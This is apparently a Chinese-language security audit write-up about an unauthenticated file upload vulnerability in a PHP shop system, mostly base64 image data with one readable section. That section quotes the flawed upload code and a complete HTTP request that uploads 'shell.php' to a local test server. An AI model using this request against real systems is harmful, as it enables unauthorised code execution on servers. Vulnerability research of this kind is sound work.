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 truncated
|
||||
<h3 id=toc-3>未授权文件上传</h3>
|
||||
<p>上述的文件上传只限于后台,如果没有登录无法利用因此尝试寻找是否存在其他上传点,利用审计工具查找关键字</p>
|
||||
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141919-a37dacfe-d793-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>审计/webapp/modules/api/actions/userAction.class.php</p>
|
||||
<div class=highlight><pre><span></span><span class=n>public</span> <span class=n>function</span> <span class=n>upload</span><span class=p>(){</span>
|
||||
<span class=o>//</span> <span class=err>查询配置表信息</span>
|
||||
<span class=err>$</span><span class=n>sql</span> <span class=o>=</span> <span class=s2>"select * from lkt_config where id = '1'"</span><span class=p>;</span>
|
||||
<span class=err>$</span><span class=n>r</span> <span class=o>=</span> <span class=n>lkt_gets</span><span class=p>(</span><span class=err>$</span><span class=n>sql</span><span class=p>);</span>
|
||||
<span class=k>if</span> <span class=p>(</span><span class=err>$</span><span class=n>r</span><span class=p>)</span> <span class=p>{</span>
|
||||
<span class=err>$</span><span class=n>uploadImg</span> <span class=o>=</span> <span class=err>$</span><span class=n>r</span><span class=p>[</span><span class=mi>0</span><span class=p>]</span><span class=o>-></span><span class=n>uploadImg</span><span class=p>;</span>
|
||||
<span class=o>//</span> <span class=err>图片上传位置</span>
|
||||
<span class=k>if</span> <span class=p>(</span><span class=n>empty</span><span class=p>(</span><span class=err>$</span><span class=n>uploadImg</span><span class=p>))</span> <span class=p>{</span>
|
||||
<span class=err>$</span><span class=n>uploadImg</span> <span class=o>=</span> <span class=s2>"../images"</span><span class=p>;</span>
|
||||
<span class=p>}</span>
|
||||
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
|
||||
<span class=err>$</span><span class=n>uploadImg</span> <span class=o>=</span> <span class=s2>"../images"</span><span class=p>;</span>
|
||||
<span class=p>}</span>
|
||||
|
||||
<span class=err>$</span><span class=n>imgURL</span> <span class=o>=</span> <span class=p>(</span><span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'file'</span><span class=p>][</span><span class=s1>'tmp_name'</span><span class=p>]);</span>
|
||||
<span class=err>$</span><span class=nb>type</span> <span class=o>=</span> <span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'file'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
|
||||
<span class=err>$</span><span class=n>imgURL_name</span> <span class=o>=</span> <span class=n>time</span><span class=p>()</span> <span class=o>.</span> <span class=n>mt_rand</span><span class=p>(</span><span class=mi>1</span><span class=p>,</span> <span class=mi>1000</span><span class=p>)</span> <span class=o>.</span> <span class=err>$</span><span class=nb>type</span><span class=p>;</span>
|
||||
<span class=n>move_uploaded_file</span><span class=p>(</span><span class=err>$</span><span class=n>imgURL</span><span class=p>,</span> <span class=err>$</span><span class=n>uploadImg</span> <span class=o>.</span> <span class=err>$</span><span class=n>imgURL_name</span><span class=p>);</span>
|
||||
<span class=n>echo</span> <span class=err>$</span><span class=n>imgURL_name</span><span class=p>;</span>
|
||||
<span class=p>}</span>
|
||||
</pre></div>
|
||||
<p>和刚刚看到的后台内容类似,也是替换后拼接可以控制后缀,尝试上传<br>
|
||||
因为是基于TP的因此我们构造接口调用,直接上传报错</p>
|
||||
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>api</span><span class=o>&</span><span class=n>action</span><span class=o>=</span><span class=n>user</span><span class=o>&</span><span class=n>m</span><span class=o>=</span><span class=n>upload</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
|
||||
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>;</span> <span class=n>rv</span><span class=p>:</span><span class=mf>123.0</span><span class=p>)</span> <span class=n>Gecko</span><span class=o>/</span><span class=mi>20100101</span> <span class=n>Firefox</span><span class=o>/</span><span class=mf>123.0</span>
|
||||
<span class=n>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=o>*/*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>TW</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>HK</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.5</span><span class=p>,</span><span class=n>en</span><span class=o>-</span><span class=n>US</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.3</span><span class=p>,</span><span class=n>en</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.2</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=---------------------------</span><span class=mi>323553422223467167571808530788</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>243</span>
|
||||
<span class=n>Origin</span><span class=p>:</span> <span class=n>http</span><span class=p>:</span><span class=o>//</span><span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>Connection</span><span class=p>:</span> <span class=n>close</span>
|
||||
<span class=n>Cookie</span><span class=p>:</span> <span class=n>admin_mojavi</span><span class=o>=</span><span class=n>idaa1su8mvj9leoubg27osau0r</span><span class=p>;</span> <span class=n>XDEBUG_SESSION</span><span class=o>=</span><span class=n>PHPSTORM</span>
|
||||
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=p>:</span> <span class=mi>1</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Dest</span><span class=p>:</span> <span class=n>iframe</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Mode</span><span class=p>:</span> <span class=n>navigate</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Site</span><span class=p>:</span> <span class=n>same</span><span class=o>-</span><span class=n>origin</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>User</span><span class=p>:</span> <span class=err>?</span><span class=mi>1</span>
|
||||
|
||||
|
||||
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"imgFile"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"shell.php"</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span><span class=n>image</span><span class=o>/</span><span class=n>php</span>
|
||||
|
||||
<span class=o><</span><span class=err>?</span><span class=n>php</span> <span class=n>phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>></span>
|
||||
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span><span class=o>--</span>
|
||||
</pre></div>
|
||||
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301142054-dc17a2d6-d793-1.png><img src=data:image/png;base64,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